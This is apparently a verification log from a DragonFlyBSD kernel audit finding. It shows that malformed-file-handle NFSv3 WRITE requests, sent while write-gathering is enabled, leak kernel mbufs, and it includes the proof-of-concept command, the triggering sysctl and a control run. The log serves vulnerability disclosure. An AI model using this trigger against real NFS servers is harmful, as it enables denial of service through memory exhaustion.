DragonFlyBSD Kernel Audit
DF-2995 / run.log
← back to finding ↓ download raw
DF-2995 run transcripts (ssh, captured during verification)
guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 X86_64_GENERIC
NFS server exporting /tmp/nfsroot (maproot=root), nfsd -u -t -n 4

== baseline mbufs ==
8/146632 mbufs in use (current/max):
256/33296 mbuf clusters in use (current/max)
	264 mbufs and mbuf clusters allocated to data

$ sysctl vfs.nfs.gatherdelay_v3=5000
vfs.nfs.gatherdelay_v3: 0 -> 5000

== 300 malformed-fh v3 WRITEs (fhlen=5) with gatherdelay_v3=5000 ==
write[296]: reply status=5
write[297]: reply status=5
write[298]: reply status=5
write[299]: reply status=5

== mbufs after ==
607/146632 mbufs in use (current/max):
256/33296 mbuf clusters in use (current/max)
	863 mbufs and mbuf clusters allocated to data

=> +599 mbufs leaked by 300 requests (~2 mbufs each), persistent,
   server still healthy (NULL replies in 0.0002s).

== control: gatherdelay_v3 back to 0, 300 more identical requests ==
$ sysctl vfs.nfs.gatherdelay_v3=0
$ /root/nfspoc writebadfh 300
write[299]: reply status=5
607/146632 mbufs in use (current/max):

=> ZERO additional leak when write-gathering is off — the leak is
   exclusively the nfsrv_writegather nfsmout double-reply path.